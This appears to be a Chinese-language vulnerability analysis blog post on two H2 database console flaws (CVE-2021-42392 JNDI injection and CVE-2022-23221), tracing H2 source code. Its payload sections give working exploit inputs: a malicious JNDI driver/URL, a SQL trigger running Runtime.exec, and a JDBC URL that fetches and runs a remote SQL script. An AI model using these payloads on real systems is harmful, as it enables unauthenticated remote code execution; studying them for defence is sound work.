H2数据库漏洞分析

admin 2023年11月10日21:17:47评论40 views字数 10826阅读36分5秒阅读模式

一、H2简介

H2数据库是一个开源的关系型数据库。H2是一个采用java语言编写的嵌入式数据库引擎,只是一个类库(即只有一个 jar 文件),可以直接嵌入到应用项目中,不受平台的限制 应用场景:

  • 可以同应用程序打包在一起发布,可以非常方便地存储少量结构化数据
  • 可用于单元测试
  • 可以用作缓存,即当做内存数据库

H2的产品优势:

  • 纯Java编写,不受平台的限制;
  • 只有一个jar文件,适合作为嵌入式数据库使用;
  • h2提供了一个十分方便的web控制台用于操作和管理数据库内容;
  • 功能完整,支持标准SQL和JDBC。麻雀虽小五脏俱全;
  • 支持内嵌模式、服务器模式和集群。

二、CVE-2021-42392

1、漏洞简介

H2是开源的轻量级Java数据库,可以嵌入Java应用程序中或以客户端-服务器模式运行。H2数据库可以配置为内存数据库运行,这意味着数据将不会持久存储在磁盘上,使得H2成为各种项目的流行数据存储解决方案。近日,新华三攻防实验室威胁预警团队监测到网上爆发了H2数据库控制台远程代码执行漏洞(CVE-2021-42392),该漏洞的原理与Apache Log4jShell (CVE-2021-44228)相似,成功利用此漏洞可在目标服务器上执行任意代码。该漏洞的根本原因类似于 Log4Shell,由于H2 数据库框架中的多个代码未能正确处理用户的输入,恶意攻击者通过发送带有恶意命令的URI至服务器,服务器将该请求传递给javax.naming.Context.lookup函数,从而导致未经身份验证的远程代码执行。由于该漏洞直接影响H2控制台服务器,有明确影响范围,所以并不像Apache Log4jShell影响广泛,但由于H2被许多第三方框架使用,且成功利用后造成的影响严重,建议受影响用户尽快更新安全补丁。

2、影响范围

1.1.100<= H2 Console <= 2.0.204

3、漏洞分析

3.1、JdbcUtils 存在 JNDI 注入

org.h2.util.JdbcUtils#getConnection()

// 此方法调用至下方getConnection()
public static Connection getConnection(String driver, String url,
        String user, String password)
 throws SQLException 
{
    return getConnection(driver, url, user, password, null);
}

public static Connection getConnection(String driver, String url, String user, String password,
        NetworkConnectionInfo networkConnectionInfo)
 throws SQLException 
{
    // url 以 "jdbc:h2:" 开头则进入此 if
    if (url.startsWith(Constants.START_URL)) {
        JdbcConnection connection = new JdbcConnection(url, null, user, password);
        if (networkConnectionInfo != null) {
            connection.getSession().setNetworkConnectionInfo(networkConnectionInfo);
        }
        return connection;
    }
    // url 为空进入此 if
    if (StringUtils.isNullOrEmpty(driver)) {
        JdbcUtils.load(url);
    //url 不为空进入      
    } else {
        //最终调用 return Class.forName(driver)
        Class<?> d = loadUserClass(driver);
        try {
            //driver 传入类 实现 Driver 接口进入此方法
            if (java.sql.Driver.class.isAssignableFrom(d)) {
                Driver driverInstance = (Driver) d.getDeclaredConstructor().newInstance();
                Properties prop = new Properties();
                if (user != null) {
                    prop.setProperty("user", user);
                }
                if (password != null) {
                    prop.setProperty("password", password);
                }
                /*
                 * fix issue #695 with drivers with the same jdbc
                 * subprotocol in classpath of jdbc drivers (as example
                 * redshift and postgresql drivers)
                 */

                Connection connection = driverInstance.connect(url, prop);
                if (connection != null) {
                    return connection;
                }
                throw new SQLException("Driver " + driver + " is not suitable for " + url, "08001");
               //driver 传入类 实现 Context 接口进入此方法
            } else if (javax.naming.Context.class.isAssignableFrom(d)) {
                // 通过反射实例化 driver 传入类
                // JNDI context
                Context context = (Context) d.getDeclaredConstructor().newInstance();
                // 调用lookup()存在JNDI注入
                DataSource ds = (DataSource) context.lookup(url);
                if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
                    return ds.getConnection();
                }
                return ds.getConnection(user, password);
            }
        } catch (Exception e) {
            throw DbException.toSQLException(e);
        }
        // don't know, but maybe it loaded a JDBC Driver
    }
    return DriverManager.getConnection(url, user, password);
}

以上分析可知,当调用 org.h2.util.JdbcUtils#(String driver, String url,String user, String password) 方法时,当 driver 为 "javax.naming.InitialContext",最终会调用 lookup(url) 存在JNDI注入。

3.2、H2 控制台调用 JdbcUtils

login.jsp  发送请求至 login.do

<form name="login" method="post" action="login.do?jsessionid=${sessionId}" id="login">
  <p>                    <select name="language" size="1"
                           onchange="javascript:document.location='index.do?jsessionid=${sessionId}&amp;language='+login.language.value;"
                           >

    ...
    <tr class="login">
      <td class="login">${text.login.driverClass}:</td>
      <td class="login"><input type="text" name="driver" value="${driver}" style="width:300px;" /></td>
    </tr>
    <tr class="login">
      <td class="login">
        <a href="#" onclick="var x=document.getElementById('url').style;x.display=x.display==''?'none':'';">
          ${text.login.jdbcUrl}</a>:</td>
      <td class="login"><input type="text" name="url" value="${url}" style="width:300px;" /></td>
    </tr>
    <tr class="login">
      <td class="login">${text.a.user}:</td>
      <td class="login"><input type="text" name="user" value="${user}" style="width:200px;" /></td>
    </tr>
    <tr class="login">
      <td class="login">${text.a.password}:</td>
      <td class="login"><input type="password" name="password" value="" style="width:200px;" /></td>
    </tr>
    <tr class="login">
      <td class="login"></td>
      <td class="login">
  <input type="submit" class="button" value="${text.login.connect}" />
 ...

org.h2.server.web.WebServlet 处理请求,调用 WebApp#processRequest()

@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp)
        throws IOException 
{
    req.setCharacterEncoding("utf-8");
    String file = req.getPathInfo();
    if (file == null) {
        resp.sendRedirect(req.getRequestURI() + "/");
        return;
    } else if (file.startsWith("/")) {
        file = file.substring(1);
    }
    file = getAllowedFile(req, file);

    // extract the request attributes
    Properties attributes = new Properties();
    Enumeration<?> en = req.getAttributeNames();
    while (en.hasMoreElements()) {
        String name = en.nextElement().toString();
        String value = req.getAttribute(name).toString();
        attributes.put(name, value);
    }
    en = req.getParameterNames();
    while (en.hasMoreElements()) {
        String name = en.nextElement().toString();
        String value = req.getParameter(name);
        attributes.put(name, value);
    }

    WebSession session = null;
    String sessionId = attributes.getProperty("jsessionid");
    if (sessionId != null) {
        session = server.getSession(sessionId);
    }
    WebApp app = new WebApp(server);
    app.setSession(session, attributes);
    String ifModifiedSince = req.getHeader("if-modified-since");

    String scheme = req.getScheme();
    StringBuilder builder = new StringBuilder(scheme).append("://").append(req.getServerName());
    int serverPort = req.getServerPort();
    if (!(serverPort == 80 && scheme.equals("http") || serverPort == 443 && scheme.equals("https"))) {
        builder.append(':').append(serverPort);
    }
    String path = builder.append(req.getContextPath()).toString();
    file = app.processRequest(file, new NetworkConnectionInfo(path, req.getRemoteAddr(), req.getRemotePort()));
    session = app.getSession();
 ...
}

@Override
public void doPost(HttpServletRequest req, HttpServletResponse resp)
        throws IOException 
{
    doGet(req, resp);
}

org.h2.server.web.WebApp#processRequest()  根据请求不同调用不同逻辑

String processRequest(String file, NetworkConnectionInfo networkConnectionInfo) {
    int index = file.lastIndexOf('.');
    String suffix;
    if (index >= 0) {
        suffix = file.substring(index + 1);
    } else {
        suffix = "";
    }
    if ("ico".equals(suffix)) {
        mimeType = "image/x-icon";
        cache = true;
    ...
    if (file.endsWith(".do")) {
        file = process(file, networkConnectionInfo);
    } else if (file.endsWith(".jsp")) {
        switch (file) {
        case "admin.jsp":
        case "tools.jsp":
            if (!checkAdmin(file)) {
                file = process("adminLogin.do", networkConnectionInfo);
            }
        }
    }
    return file;
}

org.h2.server.web.WebApp#process() 根据请求调用不同方法

private String process(String file, NetworkConnectionInfo networkConnectionInfo) {
    trace("process " + file);
    while (file.endsWith(".do")) {
        switch (file) {
        case "login.do":
            file = login(networkConnectionInfo);
            break;
        case "index.do":
            file = index();
            break;
        case "logout.do":
        ...        

org.h2.server.web.WebApp#login()  调用 WebServer#getConnection()

private String login(NetworkConnectionInfo networkConnectionInfo) {
    String driver = attributes.getProperty("driver""");
    String url = attributes.getProperty("url""");
    String user = attributes.getProperty("user""");
    String password = attributes.getProperty("password""");
    session.put("autoCommit""checked");
    session.put("autoComplete""1");
    session.put("maxrows""1000");
    boolean isH2 = url.startsWith("jdbc:h2:");
    try {
        //调用至 getConnection()
        Connection conn = server.getConnection(driver, url, user, password, (String) session.get("key"),
                networkConnectionInfo);
        session.setConnection(conn);
        session.put("url", url);
        session.put("user", user);
        session.remove("error");
        settingSave();
        return "frame.jsp";
    } catch (Exception e) {
        session.put("error", getLoginError(e, isH2));
        return "login.jsp";
    }
}

org.h2.server.web.WebServer#getConnection() 调用 JdbcUtils.getConnection 存在JNDI注入

Connection getConnection(String driver, String databaseUrl, String user,
        String password, String userKey, NetworkConnectionInfo networkConnectionInfo)
 throws SQLException 
{
    driver = driver.trim();
    databaseUrl = databaseUrl.trim();
    if (databaseUrl.startsWith("jdbc:h2:")) {
        if (!allowSecureCreation || key == null || !key.equals(userKey)) {
            if (ifExists) {
                databaseUrl += ";FORBID_CREATION=TRUE";
            }
        }
    }
    // do not trim the password, otherwise an
    // encrypted H2 database with empty user password doesn't work
    return JdbcUtils.getConnection(driver, databaseUrl, user.trim(), password, networkConnectionInfo);
}

4、payload

综上分析 login.jsp 页面 输入以下值即可触发 JNDI注入

  • Driver Class 为 javax.naming.Context.lookup
  • JDBC URL 为 恶意 JNDI 地址

注:

  1. 此漏洞利用于无需通过身份校验
  2. JNDI 注入受限于 JDK 版本

三、CVE-2022-23221

1、漏洞简介

H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

2、影响范围

1.1.100<= H2 Console <= 2.1.210

3、payload

3.1H2 SQL语句命令执行

H2 数据库可在SQL语句中执行java代码

CREATE TABLE test (
     id INT NOT NULL
 );
 
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
java.lang.Runtime.getRuntime().exec("calc");'
;

INSERT INTO TEST VALUES (1);

3.2H2 console页面未授权执行SQL语句

H2数据库漏洞分析


jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://xxx.xxx.xxx.xxx/xxx.sql';

xxx.sql

CREATE TABLE test (
     id INT NOT NULL
 );
 
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
java.lang.Runtime.getRuntime().exec("calc");'
;

INSERT INTO TEST VALUES (1);

如您有问题、建议、需求、合作、加群交流请后台留言或添加微信

H2数据库漏洞分析


原文始发于微信公众号(白给信安):H2数据库漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月10日21:17:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   H2数据库漏洞分析https://cn-sec.com/archives/2195312.html

发表评论

匿名网友 填写信息